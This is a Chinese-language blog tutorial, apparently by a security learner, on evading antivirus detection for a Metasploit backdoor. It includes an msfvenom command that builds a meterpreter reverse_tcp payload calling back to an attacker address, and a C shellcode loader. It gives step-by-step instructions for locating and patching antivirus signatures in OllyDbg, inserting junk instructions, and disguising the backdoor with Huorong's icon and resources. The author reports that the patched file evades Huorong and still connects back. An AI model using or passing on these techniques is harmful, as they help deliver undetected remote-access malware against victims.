前言
今天主要是讲这个特征码定位以及这个花指令,资源修改这个东西其实有点投机取巧啦,至于这个加壳之前也讲过了,直接工具搞就行。那么什么是特征码定位呢,众所周知,杀软是通过特征码来检测我们的exe是否是后门的,此时我们就要找到杀软是检测哪里的,或者说是以哪一部分的代码作为判断后门的依据,找到之后我们就去修改它,以此来躲过杀软的检测。花指令就是汇编中的垃圾指令,可有可无的存在,我们可以通过添加花指令来干扰杀软的判断。
实验环境
360、火绒、WD、VT。
特征码修改
定位
msf生成shellcode,CS也行无所谓。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.128 LPORT=3333 -f c
值得一说的是,如果你想尽量一次成功的话那么我建议你用下面这个加载器,因为这个加载器和小迪的是一样的,直接照着做就行,至于为啥其它的加载器不建议,下面我会说。
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker,"/section:.data,RWE")
unsigned char shellcode[] =
int main()
{
__asm {
mov eax, offset shellcode
_emit 0xFF
_emit 0xE0
}
}
原生态肯定是会杀的,不用多说。
先找出来它的特征码,我们是直接用VirTest5.0这个工具自动化来搞,或者你用mycll也行,先关闭杀软依次点击1和2。
制作测试文件之后,再点击载入测试文件,把刚刚生成的VirTest.vir这个文件载入。
此时打开杀软,点击定位特征码,会弹出风险警告,我们点击立即处理。
这里选择它推荐的1秒即可,然后点击确认。
此时还回不断弹出警告,知道定位结束。
定位到特征码的位置为00001F33。
我们用C32ASM简单验证一下这个特征码定位是否准确,直接跳转到特征码地址。
然后把这个DF值填充为00。
接着保存一下,此时火绒就不杀了,说明我们的特征码定位是正确的,如果你修改了之后还是报毒,说明定位错了,重新定位几次即可。
修改
修改的话我们用OD来修改,网上有很多的特征码修改方法,比如什么加一减一法、00填充法、指令替换法等等。但这些方法其实都是运气成分居多,就拿这个加一减一法来说,就是把它16进制的值加一,比如DF加一之后变成就是E0,这个不纯扯淡么,这样子改之后能不能运行完全是看运气。所以我们修改还是用这个跳转法,这个是通用的,也是建议大家掌握的一种方法。
OD打开载入我们的exe,然后跳转到我们刚刚的特征码地址,也就是1F33。值得注意的是,我们这里要选offset地址才能正确的跳转,有些OD没有这个选,我这里推荐用吾爱破解版的OD。
跳转到对应的地址00044133后,发现当前的汇编语句是fstsw ax记录一下。
那么具体怎么跳转呢,我们可以找一段空白区域,也就是db 00这种区域,这种呢是属于你怎么修改都不会影响程序的地方。把我们的fstsw ax放到空白区域,那么原本fstsw ax的地址改为jmp+空白区域地址,也就是跳转到空白区域去执行我们的fstsw ax,执行完再jmp回来执行原本的下一句call ebp。
找一段空白区域然后nop填充掉,如果你找不到的话就重新打开一下exe。
修改为我们刚刚说的语句,执行完fstsw ax再跳转回去00044135去执行call ebp。
回到我们00044133这里把原本的fstsw ax语句改为jmp 00041E43,跳转到空白区域去执行fstsw ax。
OK,如果你是这么改的话,那么你就大错特错了,这是第一个坑。如果你细心观察,就会发现把fstsw ax改为jmp xxxxxx之后语句乱了,就是原本下一句是call ebp,变成push 0x10,如上图一样。这是怎么回事呢,首先观察地图的地址,fstsw ax的地址是00044133,而call ebp的地址为00044135,这说明了fstsw ax语句占2个字节。
再看改了之后的,jmp 00041E43地址是00044133,而push 0x10的地址是00044138,这说明jmp 00041E43是占5个字节,把一个2字节的语句改为5字节的语句坑定是会乱的,这是一个原因。
另外就是当我们定位到fstsw ax语句时候,此时我们往上划一下,就会发现call ebp的上一句不再是fstsw ax了,而是push 0xE0DF0FEA。这是为啥呢,因为4130—4135这段地址其实有很多个语句的,只是不展示出来而已,只有你定位跳转才会显示出来。
正确的方法就是把4130-4135这一整段地址都修改,当我们nop填充掉push 0xE0DF0FEA就会发现5个地址都被填充了,而不是一个地址。
修改为跳转语句,此时就会发现语句没有变乱。
那么我们00041E43这个地址应该改为push 0xE0DF0FEA,而不是fstsw ax。
此时我们右键,点击复制到可执行文件,选择所有修改,如果有弹出这个什么无法定位数据啥的。
那我们先保存上面的跳转语句,就是这个。
右键,点击复制到可执行文件,再点击选择,再右键选择保存文件,命名为11.exe。
OK啊,如果你以为这样就行了,那你就是大错特错啦。我们只是保存上面的跳转语句,还没有保存下面的空白区域的执行语句和回跳语句,因为一次只能保存一个地方。
OD打开11.exe,可以发现1E43这个地址啥也没有,我们再修改再保存即可,具体咋修改不说了,注意这里的地址只有前4位变了,后4位是不变的。
改完保存之后火绒是查杀不了的。
能够正常上线。
OK,现在来说一下为啥不建议用别的加载器。主要是两点,一是我试了好几个其它的加载器检测出来的特征码最少都有两个,别说两个了,就是上面的一个特征码都要搞半天了。
然后还有一种情况,就是现在特征码地址是008B4136,可以看到008B4135地址的语句只占两个字节,但是我们jmp语句占5个字节。所以此时我们就得填充更多语句,同时也得跳转更多语句,我就是被这个问题搞烦死了,怎么跳都不对,密码的。
花指令
花指令在汇编里面就是垃圾代码的意思,就是我往源码里面加一下垃圾指令或者可有可无的指令,以此来干扰杀软的判断。
我们首先用LordPE定位出程序入口先,入口为00001287,记录下来。
OD打开也是直接显示入口滴。
然后我们用个小工具生成一些花指令,懒得生成太多了。
找一个空白区间,nop填充掉然后把花指令一条一条写进去,然后在最后再跳回去1287这个入口地址,同时记一下当前第一条花指令的地址1E82。
LordPE修改入口地址为1E82,也就让程序先执行花指令,再调回去原本的入口继续执行。
记得重组一下,不然程序可能运行不了。
但是免杀效果不太好,估计是我花指令加的太少了。
资源修改
这个玩意纯属就是看运气的了,简单来说就是修改图标或者界面风格这些东西,用Restorator打开原生态的看看。
然后我们找一个正常的exe,就找个火绒的吧,拖进去。
同理,把火绒的图标啊,界面风格啥拖到后门exe中。
保存之后可以看到有个类似火绒的exe。
但是呢还是会被火绒查杀出来,配合上前面说的手法效果会更好可能。
总结
特征码修改还是可以的,缺点就是不能做到通杀,只能针对某个杀软来修改,优点就是效果好。这个技术是属于比较老的了,而且过程又麻烦,现在几乎没有什么课会讲到这个技术了,就我所知只有小迪讲。花指令我感觉过时了这个玩意,也可能是我添加的太少了,加几十条可能效果好点,但是我懒。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。